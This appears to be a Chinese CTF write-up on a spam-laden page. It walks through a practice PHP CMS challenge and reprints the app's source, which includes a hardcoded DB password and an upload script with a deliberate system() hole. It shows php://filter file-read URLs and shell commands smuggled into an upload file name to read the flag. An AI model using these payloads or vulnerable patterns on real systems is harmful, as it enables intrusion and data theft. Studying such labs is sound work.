中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁 > news >正文

教育房地產(chǎn) 網(wǎng)站建設(shè)成都seo達(dá)人

教育房地產(chǎn) 網(wǎng)站建設(shè),成都seo達(dá)人,怎樣申請免費(fèi)域名,展廳布展方案設(shè)計(jì)一個(gè)cms,先打開環(huán)境試了一下弱口令,無效,再試一下萬能密碼,告訴我有waf,先不想怎么繞過,直接開掃(信息收集)訪問register.php注冊一個(gè)賬號進(jìn)行登錄上面的鏈接嘗試用php讀文件http://…

一個(gè)cms,先打開環(huán)境

試了一下弱口令,無效,再試一下萬能密碼,告訴我有waf,先不想怎么繞過,直接開掃(信息收集)

訪問register.php注冊一個(gè)賬號進(jìn)行登錄

上面的鏈接嘗試用php讀文件

http://575579bc-af3b-4fa5-b93d-9062dfb85a31.node4.buuoj.cn:81/user.php?page=php://filter/convert.base64-encode/resource=index

index.php

<?php
require_once "function.php";
if(isset($_SESSION['login'] )){Header("Location: user.php?page=info");
}
else{include "templates/index.html";
}
?>

register.php

<?php
require_once "function.php";
if($_POST['action'] === 'register'){if (isset($_POST['username']) and isset($_POST['password'])){$user = $_POST['username'];$pass = $_POST['password'];$res = register($user,$pass);if($res){Header("Location: index.php");}else{$errmsg = "Username has been registered!";}}else{Header("Location: error_parameter.php");}
}
if (!$_SESSION['login']) {include "templates/register.html";
} else {Header("Location : user.php?page=info");
}?>

function.php

<?php
session_start();
require_once "config.php";
function Hacker()
{Header("Location: hacker.php");die();
}function filter_directory()
{$keywords = ["flag","manage","ffffllllaaaaggg"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function filter_directory_guest()
{$keywords = ["flag","manage","ffffllllaaaaggg","info"];$uri = parse_url($_SERVER["REQUEST_URI"]);parse_str($uri['query'], $query);
//    var_dump($query);
//    die();foreach($keywords as $token){foreach($query as $k => $v){if (stristr($k, $token))hacker();if (stristr($v, $token))hacker();}}
}function Filter($string)
{global $mysqli;$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";for ($i = 0; $i < strlen($string); $i++) {if (strpos("$whitelist", $string[$i]) === false) {Hacker();}}if (preg_match("/$blacklist/is", $string)) {Hacker();}if (is_string($string)) {return $mysqli->real_escape_string($string);} else {return "";}
}function sql_query($sql_query)
{global $mysqli;$res = $mysqli->query($sql_query);return $res;
}function login($user, $pass)
{$user = Filter($user);$pass = md5($pass);$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();if ($res->num_rows) {$data = $res->fetch_array();$_SESSION['user'] = $data[username_which_you_do_not_know];$_SESSION['login'] = 1;$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];return true;} else {return false;}return;
}function updateadmin($level,$user)
{$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";echo $sql;$res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);if ($res == 1) {return true;} else {return false;}return;
}function register($user, $pass)
{global $mysqli;$user = Filter($user);$pass = md5($pass);$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";$res = sql_query($sql);return $mysqli->insert_id;
}function logout()
{session_destroy();Header("Location: index.php");
}?>

config.php

<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){echo "no sql connection".mysqli_connect_error();$mysqli=null;die();
}
?>

hacker.php

<?phpinclude("templates/hacker.html");
?>

user.php

<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){Header("Location: index.php");}
if($_SESSION['isadmin'] === '1'){$oper_you_can_do = $OPERATE_admin;
}else{$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){if(!isset($_GET['page']) || $_GET['page'] === ''){$page = 'info';}else {$page = $_GET['page'];}
}
else{if(!isset($_GET['page'])|| $_GET['page'] === ''){$page = 'guest';}else {$page = $_GET['page'];if($page === 'info'){
//            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");Header("Location: user.php?page=guest");}}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";
?>

login.php

<?php
require_once "function.php";
if($_POST['action'] === 'login'){if (isset($_POST['username']) and isset($_POST['password'])){$user = $_POST['username'];$pass = $_POST['password'];$res = login($user,$pass);if(!$res){Header("Location: index.php");}else{Header("Location: user.php?page=info");}}else{Header("Location: error_parameter.php");}
}else if($_REQUEST['action'] === 'logout'){logout();
}else{Header("Location: error_parameter.php");
}?>

error_parameter.php

<?phpinclude("templates/hacker2.html");
?>

到此為止,把能讀的源碼全讀了,開始代碼分析

看到有parse_url函數(shù),可能存在漏洞

利用該漏洞的payload

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
<?php
if (FLAG_SIG != 1){die("you can not visit it directly");
}else {echo "you can find sth in m4aaannngggeee";
}
?>

繼續(xù)讀取m4aaannngggeee(后續(xù)有用)

<?php
if (FLAG_SIG != 1){die("you can not visit it directly");
}
include "templates/upload.html";?>

訪問

http://xxxd1.no.buoj.cn:81/templates/upload.html

發(fā)現(xiàn)一個(gè)上傳界面,隨機(jī)上傳一個(gè)文件,顯示錯(cuò)誤,看到upllloadddd,讀它源碼

upllloadddd.php(該界面訪問報(bào)錯(cuò),不是真正的上傳界面)

<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){die("error:can not move");}
}else{die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){unlink($newfile);die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){unlink($newfile);
}
?>

m4aaannngggeee(上面代碼可以看出是上傳界面)

http://xxx.nod4.bj.cn:81/user.php?page=m4aaannngggeee

然而這個(gè)上傳界面沒啥用,上傳上去的代碼被base64編碼,無法解析

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename."

可以看到這一行有一個(gè)system函數(shù),我們可以對filename傳參利用

打開bp抓包,對filename進(jìn)行操作

payload為

;l's'

發(fā)現(xiàn)傳回的值明顯多于原圖片內(nèi)容base64后的結(jié)果

解碼查看內(nèi)容

發(fā)現(xiàn)此為命令執(zhí)行后的結(jié)果,找尋flag,查看上級目錄

payload

;cd ..;l's'

讀取flag_233333

payload

;cd ..;cat flag_233333

找到flag值

flag{44794dcf-7ec4-4dd2-8f68-c6ad9219f0ef}

http://www.risenshineclean.com/news/8860.html

相關(guān)文章:

  • 網(wǎng)站建設(shè)需要公司谷歌搜索引擎免費(fèi)
  • 移動(dòng)互聯(lián)網(wǎng)應(yīng)用程序指的是什么搜索引擎營銷優(yōu)化診斷訓(xùn)練
  • 棗陽網(wǎng)站建設(shè)_棗陽山水?dāng)?shù)碼網(wǎng)站制作定制
  • 自我簡介網(wǎng)頁模板htmlseo如何建立優(yōu)化網(wǎng)站
  • wordpress文章尾部做搜索引擎優(yōu)化的企業(yè)
  • wordpress幻燈片教程視頻seo人員是什么意思
  • 自助個(gè)人網(wǎng)站網(wǎng)絡(luò)推廣外包業(yè)務(wù)銷售
  • 揭陽網(wǎng)站制作專業(yè)適合seo的網(wǎng)站
  • 營銷型網(wǎng)站建設(shè)費(fèi)用怎么這么大網(wǎng)絡(luò)營銷渠道
  • 賣模具做哪個(gè)網(wǎng)站好地推的60種方法
  • 華為云 wordpress微信搜一搜seo
  • 網(wǎng)站建設(shè)與發(fā)布百度推廣怎么優(yōu)化排名
  • 網(wǎng)站運(yùn)營軟件站長工具seo綜合查詢可以訪問
  • 設(shè)計(jì)師網(wǎng)上接單的網(wǎng)站三只松鼠有趣的軟文
  • 淘客推廣有用嗎店鋪seo是什么意思
  • 沈陽市有做網(wǎng)站的公司百度推廣北京總部電話
  • 建設(shè)網(wǎng)站免費(fèi)模板百度問答庫
  • 運(yùn)城鹽湖區(qū)姚孟信通網(wǎng)站開發(fā)中心專業(yè)網(wǎng)站優(yōu)化外包
  • 北京網(wǎng)站建設(shè)模板網(wǎng)絡(luò)優(yōu)化app哪個(gè)好
  • 鄭州網(wǎng)站建設(shè)專家百度老年搜索
  • 德惠市建設(shè)局網(wǎng)站seo網(wǎng)絡(luò)營銷推廣排名
  • seo關(guān)鍵詞優(yōu)化培訓(xùn)泉州seo報(bào)價(jià)
  • 德陽網(wǎng)站建設(shè)平臺百度收錄軟件
  • 專門做稀有產(chǎn)品的網(wǎng)站seo代碼優(yōu)化包括哪些
  • 工作室有專門的網(wǎng)站如何找友情鏈接
  • 有什么國外的黃網(wǎng)站百度服務(wù)中心投訴
  • 課程設(shè)計(jì)代做網(wǎng)站推薦優(yōu)化疫情二十條措施
  • 寶雞做網(wǎng)站公司谷歌瀏覽器下載官網(wǎng)
  • 公司網(wǎng)站建設(shè)怎么選擇主機(jī)大小百度推廣個(gè)人怎么開戶
  • 太原網(wǎng)站建設(shè)制作報(bào)價(jià)南寧seo營銷推廣